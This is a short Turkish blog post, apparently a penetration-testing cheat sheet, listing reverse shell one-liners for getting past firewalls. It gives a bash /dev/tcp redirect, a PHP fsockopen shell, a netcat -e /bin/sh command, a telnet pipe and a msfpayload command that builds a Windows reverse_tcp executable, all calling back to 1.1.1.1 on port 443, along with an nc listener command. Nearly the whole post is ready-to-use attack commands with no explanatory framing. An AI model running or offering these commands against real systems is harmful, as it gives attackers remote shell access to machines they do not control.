Bu yazıda, farklı durumlarda pratik olarak reverse shell alma teknikleri bulunuyor;
Not: Dinleme modunda “nc -lvp 443″ komutu kullanılabilir.
BASH
bash -i >& /dev/tcp/1.1.1.1/443 0>&1 (Red hat tabanlı sistemler için)
PHP
php -r ‘$sock=fsockopen(“1.1.1.1″,443);exec(“/bin/sh -i <&3 >&3 2>&3″);’
Netcat
nc -e /bin/sh 1.1.1.1 443
Telnet
telnet 1.1.1.1 4444 | /bin/bash | telnet 1.1.1.1 443
Windows Reverse Shell (metasploit)
#msfpayload windows/shell/reverse_tcp LHOST=1.1.1.1 LPORT=443 X > shell.exe
Kaynak : http://blog.bga.com.tr/pentest-2/network-pentest/firewall-arkasindaki-sistemler-icin-pratik-reverse-shell-alma-yontemleri
Hiç yorum yok:
Yorum Gönder